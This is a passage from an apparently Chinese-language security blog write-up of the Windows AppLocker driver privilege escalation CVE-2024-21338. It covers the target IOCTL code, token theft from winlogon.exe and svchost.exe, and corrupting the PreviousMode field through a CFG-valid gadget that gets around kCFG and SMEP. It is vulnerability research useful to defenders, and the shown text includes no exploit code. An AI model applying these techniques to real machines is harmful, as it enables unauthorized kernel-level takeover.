leaf="">内核内存。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">首先，与 Windows 上任何 IOCTL 通信一样，需要打开与目标驱动通信的句柄。在此案例中，通过在 </span><em><span leaf="">IDA Pro</span></em><span leaf="">中分析 </span><strong><span leaf="">appid.sys</span></strong><span leaf="">（</span><strong><span leaf="">AppLocker</span></strong><span leaf="">）驱动，我们可以在 </span><strong><span leaf="">DriverEntry</span></strong><span leaf="">函数中看到，我们需要打开句柄的对象是&#34;</span><strong><span leaf="">\Device\AppID</span></strong><span leaf="">&#34;，如下方截图所示。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012928" data-ratio="0.2490740740740741" data-s="300,640" data-type="other" data-w="1080" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=20cb9700&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSia5rKkTGry8hp5pZFplK3KbWSyastH9qZhUCrnj3JO8HHwoQyXhQ45dNaY4GsIQs7MibSIKPpaY9KLLapORA21JSE8ZnC8gyWyY%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><figcaption><span leaf="">DriverEntry 函数</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然而，当我们尝试通过 </span><strong><span leaf="">NtCreateFile</span></strong><span leaf="">从 </span><strong><span leaf="">Administrator</span></strong><span leaf="">打开&#34;</span><strong><span leaf="">\Device\AppID</span></strong><span leaf="">&#34;的句柄时，我们遇到了 </span><strong><span leaf="">NTSTATUS</span></strong><span leaf="">代码 </span><strong><span leaf="">0xC0000022</span></strong><span leaf="">（STATUS_ACCESS_DENIED），这意味着 Administrator 用户没有正确的访问权限来打开 AppID 设备的句柄。这让我们开始思考需要什么权限才能成功打开它的句柄。通过调查易受攻击的函数&#34;</span><strong><span leaf="">AipSmartHashImageFile</span></strong><span leaf="">&#34;来试图发现为什么我们无法打开&#34;</span><strong><span leaf="">\Device\AppID</span></strong><span leaf="">&#34;的设备句柄，我们发现通过&#34;AipSmartHashImageFile&#34;函数的交叉引用，可以找到&#34;</span><strong><span leaf="">AipDeviceIoControlDispatch</span></strong><span leaf="">&#34;函数，它与通过设备句柄处理所有对该驱动的 IOCTL 调用的函数相关。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012930" data-ratio="0.24346076458752516" data-s="300,640" data-type="other" data-w="994" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1a0cf200&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSjV3o8dXn508ezHZ7H7MDcWbKgjmJTc7IqxiaqwBZmkmGicL4WdkGE9h3vtT99ZedKEX6z6SzqIbcaJ5R2ENWLWXVCBUrFcyiaWsE%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><figcaption><span leaf="">&#34;AipDeviceIoControlDispatch&#34; 函数，与通过设备句柄处理所有对该驱动的 IOCTL 调用的函数相关</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">打开此调用，我们可以看到&#34;</span><strong><span leaf="">AipSmartHashImageFile</span></strong><span leaf="">&#34;函数通过 IOCTL 代码&#34;</span><strong><span leaf="">0x22A018</span></strong><span leaf="">&#34;被调用，如下方截图所示。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012931" data-s="300,640" data-type="webp" type="block" style="height: auto !important;" data-ratio="0.17314814814814813" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a87d5294&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSiacnDvlnRKuf9JCyET1VoB4PpgvwMTTIjw6nF6S2j06EribJuTibicTG4Qp3RDybp5ibldYglS5TwhPBiaMibiasatz8kqbrszly6zOS4%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><figcaption><span leaf="">&#34;AipSmartHashImageFile&#34; 函数通过 IOCTL 代码 &#34;0x22A018&#34; 被调用</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">好了，现在我们有了 IOCTL 代码，能用它做什么？除了通过&#34;</span><strong><span leaf="">NtDeviceIoControl</span></strong><span leaf="">&#34;向此特定函数发送控制请求外，IOCTL 代码还有自己的结构。根据 IOCTL Microsoft 文档，通过分解&#34;AipSmartHashImageFile&#34;函数的 IOCTL 代码，我们可以看到此 IOCTL 代码需要 </span><strong><span leaf="">0x0002</span></strong><span leaf="">（</span><em><span leaf="">FILE_WRITE_ACCESS</span></em><span leaf="">）权限才能被调用，这意味着——很可能——要打开驱动的句柄我们需要相同的权限，但你可能会问，哪个用户在 AppID 设备上给予我们这个权限？通过使用 </span><em><span leaf="">SysInternals Suite</span></em><span leaf="">中的&#34;</span><strong><span leaf="">WinObj</span></strong><span leaf="">&#34;工具，我们可以列出当前安装中存在的所有系统对象，包括所有驱动的所有设备。通过在&#34;</span><strong><span leaf="">WinObj</span></strong><span leaf="">&#34;应用程序中检查&#34;</span><strong><span leaf="">AppID</span></strong><span leaf="">&#34;设备的权限，我们可以看到&#34;</span><strong><span leaf="">Administrators</span></strong><span leaf="">&#34;组在 </span><em><span leaf="">AppID</span></em><span leaf="">的 </span><strong><span leaf="">ACL（访问控制列表）</span></strong><span leaf="">中没有所需的&#34;</span><strong><span leaf="">写入</span></strong><span leaf="">&#34;访问权限，如下方截图所示。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012932" data-s="300,640" data-type="webp" type="block" style="height: auto !important;" data-ratio="0.7666666666666667" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5a40ac66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nShQLpyZI9fAPhXq4MVWaLD0Y6Cibozr2lYfRRRfZ1Oqx2FhvR3WD5SfmYmmIZGxffmYStR9IqlE2gg0n96iaMl8eibelkBr3JrvkI%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><figcaption><span leaf="">&#34;Administrators&#34; 组在 AppID 的 ACL 中没有所需的&#34;写入&#34;访问权限</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们还可以看到&#34;</span><strong><span leaf="">LOCAL SERVICE</span></strong><span leaf="">&#34;用户名确实拥有所需的&#34;</span><strong><span leaf="">写入</span></strong><span leaf="">&#34;权限，可以成功访问并通过 IOCTL 代码调用我们需要的函数。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012933" data-s="300,640" data-type="webp" type="block" style="height: auto !important;" data-ratio="0.7813084112149533" data-w="1070" src="https://wechat2rss.xlab.app/img-proxy/?k=58ae2efe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSiaest9cvpn2VbfYy2DslhXjDhZ8QgxxgUbgmLMdFsHMfssLpfhuicntoOEGYHQQSOq5WX48VnZX5pSUJVxF0ReyH6M3Dw9J6rhI%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><figcaption><span leaf="">&#34;LOCAL SERVICE&#34; 用户名拥有所需的&#34;写入&#34;权限</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">考虑到这一点，我们现在进入利用阶段，我们将通过&#34;</span><strong><span leaf="">令牌模拟</span></strong><span leaf="">&#34;利用&#34;</span><strong><span leaf="">Windows 访问令牌</span></strong><span leaf="">&#34;，并将精心构造的 gadget 发送到&#34;AipSmartHashImageFile&#34;函数。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">利用</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">利用阶段从获取&#34;</span><strong><span leaf="">\Device\AppID</span></strong><span leaf="">&#34;句柄的访问权开始，为此，我们需要进程中拥有&#34;</span><strong><span leaf="">LOCAL SERVICE</span></strong><span leaf="">&#34;访问权限。要获得此访问权限，我们需要应用一些访问令牌模拟技术，以在进程中实现&#34;</span><strong><span leaf="">LOCAL SERVICE</span></strong><span leaf="">&#34;权限。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">什么是 </span><strong><span leaf="">Windows 访问令牌</span></strong><span leaf="">？根据 Microsoft 文档，访问令牌是&#34;一个描述</span><em><span leaf="">进程</span></em><span leaf="">或线程的</span><em><span leaf="">安全上下文</span></em><span leaf="">的对象。令牌中的信息包括与进程或线程关联的用户账户的身份和权限。当用户登录时，系统通过将用户密码与存储在安全数据库中的信息进行比较来验证。如果密码被</span><em><span leaf="">认证</span></em><span leaf="">，系统会生成一个访问令牌。代表该用户执行的每个进程都有此访问令牌的副本&#34;。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这些令牌可以被操纵，使得我们能够通过检查进程是否具有特定权限来从 Windows 中的远程进程窃取它们。在此案例中，从提权（Administrator）到&#34;</span><strong><span leaf="">NT AUTHORITY\SYSTEM</span></strong><span leaf="">&#34;（S-1-5-18），需要两个权限：&#34;</span><strong><span leaf="">SeDebugPrivilege</span></strong><span leaf="">&#34;和&#34;</span><strong><span leaf="">SeAssignPrimaryTokenPrivilege</span></strong><span leaf="">&#34;。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">&#34;winlogon.exe&#34;进程暴露了一个同时拥有这两个权限的令牌，因为按照设计，由于该进程需要操纵 Windows 的登录状态，它以 SYSTEM 身份运行，且用户可以轻松与之交互，从而允许用户从 </span><em><span leaf="">winlogon</span></em><span leaf="">复制&#34;NT AUTHORITY\SYSTEM&#34;访问令牌。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在使用&#34;</span><strong><span leaf="">DuplicateTokenEx</span></strong><span leaf="">&#34;成功复制 SYSTEM 令牌后，我们现在可以通过查找具有上述权限的任何令牌来获取&#34;</span><strong><span leaf="">NT AUTHORITY\LOCAL SERVICE</span></strong><span leaf="">&#34;（S-1-5-19）访问令牌：&#34;</span><strong><span leaf="">SeDebugPrivilege</span></strong><span leaf="">&#34;和&#34;</span><strong><span leaf="">SeImpersonatePrivilege</span></strong><span leaf="">&#34;。通常，大多数&#34;svchost.exe&#34;进程以&#34;</span><strong><span leaf="">NT AUTHORITY\LOCAL SERVICE</span></strong><span leaf="">&#34;身份运行，因此找到一个应该非常容易和快速。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在我们拥有了&#34;</span><strong><span leaf="">NT AUTHORITY\LOCAL SERVICE</span></strong><span leaf="">&#34;访问权限，这意味着我们对&#34;</span><strong><span leaf="">AppID</span></strong><span leaf="">&#34;设备句柄（&#34;</span><strong><span leaf="">\Device\AppID</span></strong><span leaf="">&#34;）和 </span><strong><span leaf="">0x22A018</span></strong><span leaf="">控制代码都拥有&#34;</span><strong><span leaf="">写入</span></strong><span leaf="">&#34;访问权限，我们现在可以成功打开上述设备句柄。拥有正确的句柄和对&#34;</span><strong><span leaf="">AipSmartHashImageFile</span></strong><span leaf="">&#34;函数的访问权限后，我们现在可以构造有效载荷来触发&#34;</span><strong><span leaf="">PreviousMode</span></strong><span leaf="">&#34;字节的内存&#34;破坏&#34;。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">PreviousMode</span></strong><span leaf="">是每个 _</span><strong><span leaf="">KTHREAD</span></strong><span leaf="">结构中都存在的一个字段，指示系统调用是从 </span><strong><span leaf="">KernelMode</span></strong><span leaf="">还是从 </span><strong><span leaf="">UserMode</span></strong><span leaf="">发起。考虑到这一点，一些 </span><strong><span leaf="">Nt</span></strong><span leaf="">或 </span><strong><span leaf="">Zw</span></strong><span leaf="">（直接）系统调用通过检查当前线程的&#34;</span><strong><span leaf="">PreviousMode</span></strong><span leaf="">&#34;字段来检查&#34;</span><strong><span leaf="">PreviousMode</span></strong><span leaf="">&#34;值，以下是从&#34;</span><strong><span leaf="">ntoskrnl.exe</span></strong><span leaf="">&#34;反汇编中提取的&#34;</span><strong><span leaf="">NtWriteVirtualMemory</span></strong><span leaf="">&#34;系统调用代码片段示例：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012934" data-s="300,640" data-type="webp" type="block" style="height: auto !important;" data-ratio="1.362037037037037" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8e831812&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nShwW8teL08ykHt5Kk89aZ3XapEMnYXFncLAn1BtYDcQXtmVvXFBYsPWICUVGsbf8s6kkIIyNl1fHfOXcRQBpDQVYutXtf12WdU%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><figcaption><span leaf="">&#34;NtWriteVirtualMemory&#34; 系统调用代码片段，取自 &#34;ntoskrnl.exe&#34; 反汇编</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">&#34;</span><strong><span leaf="">PreviousMode</span></strong><span leaf="">&#34;字段是一个简单的枚举，有两个成员：&#34;</span><strong><span leaf="">UserMode</span></strong><span leaf="">&#34;和&#34;</span><strong><span leaf="">KernelMode</span></strong><span leaf="">&#34;，即 </span><em><span leaf="">KernelMode</span></em><span leaf="">为 0，</span><em><span leaf="">UserMode</span></em><span leaf="">为 1。知道我们可能可以修改内存中当前 </span><strong><span leaf="">_KTHREAD</span></strong><span leaf="">结构中的此值后，我们深入探讨对此字段的内存破坏实际上是如何工作的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使&#34;</span><strong><span leaf="">PreviousMode</span></strong><span leaf="">&#34;利用真正起作用的主要罪魁祸首是&#34;</span><strong><span leaf="">AppHashComputeImageHashInternal</span></strong><span leaf="">&#34;，它在&#34;</span><strong><span leaf="">AipSmartHashImageFile</span></strong><span leaf="">&#34;函数内部被&#34;</span><strong><span leaf="">AppHashComputeFileHashesInternal</span></strong><span leaf="">&#34;函数调用，如下方截图所示。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012935" data-s="300,640" data-type="webp" type="block" style="height: auto !important;" data-ratio="0.28055555555555556" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1b06521c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSiaULq4HfldP7emTKJXhUFdgGlIq2ib56PwhH4OdKKZfrEuUZJOrGYtmaAj8CWxNMPDY4Fw8aI4A5bH3bsUIQ0VZvT5gRqV6eLws%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><figcaption><span leaf="">&#34;AppHashComputeFileHashesInternal&#34; 在 &#34;AipSmartHashImageFile&#34; 函数内部</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如下方截图所示，两个参数通过这一系列函数链传递，最后是&#34;</span><strong><span leaf="">AppHashComputeImageHashInternal</span></strong><span leaf="">&#34;执行一个由用户控制的函数指针，该函数指针基于用户控制的缓冲区，在此案例中，由我们对 </span><strong><span leaf="">0x22A018</span></strong><span leaf="">控制代码的调用控制。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012937" data-ratio="1.6552631578947368" data-s="300,640" data-type="other" data-w="760" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=3408da0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nShRutSxWGUVyc8wwXbGzAMbznSL9G1KUWNPLTFV7X8hrwZx6KWqt2dCYexh1ic6aibFNmNmTpRRMNO9Kib9ibKWqVecg0ahGryc0g8%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><figcaption><span leaf="">&#34;AppHashComputeImageHashInternal&#34; 执行由用户控制的函数指针</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在，我们能不能直接构造一个用户模式 shellcode 发送到控制代码，告诉当前线程的&#34;</span><strong><span leaf="">PreviousMode</span></strong><span leaf="">&#34;减为 0？遗憾的是，我们不能。登场的是 kCFG（内核控制流防护）和 SMEP（管理模式执行防护）。</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">SMEP</span></strong><p><span leaf="">（管理模式执行防护）不允许我们在更高特权级别时执行用户模式中的代码，这将不允许我们执行用户模式 shellcode 来实现我们想要的目标。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">kCFG</span></strong><p><span leaf="">（内核控制流防护）不允许我们调用任意或未验证的函数指针，特别是那些指向用户模式地址或位于已建立的 CFG 有效内核函数位图之外的位置的指针。此机制确保所有间接函数调用都根据控制流完整性策略进行检查，防止将执行流转移到恶意或意外代码段的利用。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">考虑到这两种保护，我们现在需要找到一个存在于有效内核函数的 </span><strong><span leaf="">CFG 位图</span></strong><span leaf="">中的函数，使其可以用作间接函数调用的合法目标。此函数理想情况下应提供可用于进一步利用的能力，在此案例中是内存操纵，同时遵守 </span><strong><span leaf="">kCFG</span></strong><span leaf="">和 </span><strong><span leaf="">SMEP</span></strong><span leaf="">设置的约束。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">感谢此前在此问题上的研究，&#34;Windows AppLocker Driver Elevation of Privilege (CVE-2024-21338)&#34;一文详细介绍了如何在 </span><strong><span leaf="">CFG 位图</span></strong><span leaf="">中找到有效的 </span><strong><span leaf="">CFG</span></strong><span leaf="">函数。我们的 </span><strong><span leaf="">PoC</span></strong><span leaf="">中选择的是&#34;</span><strong><span leaf="">ExpProfileDelete</span></strong><span leaf="">&#34;，它是一个有效的 </span><strong><span leaf="">CFG</span></strong><span 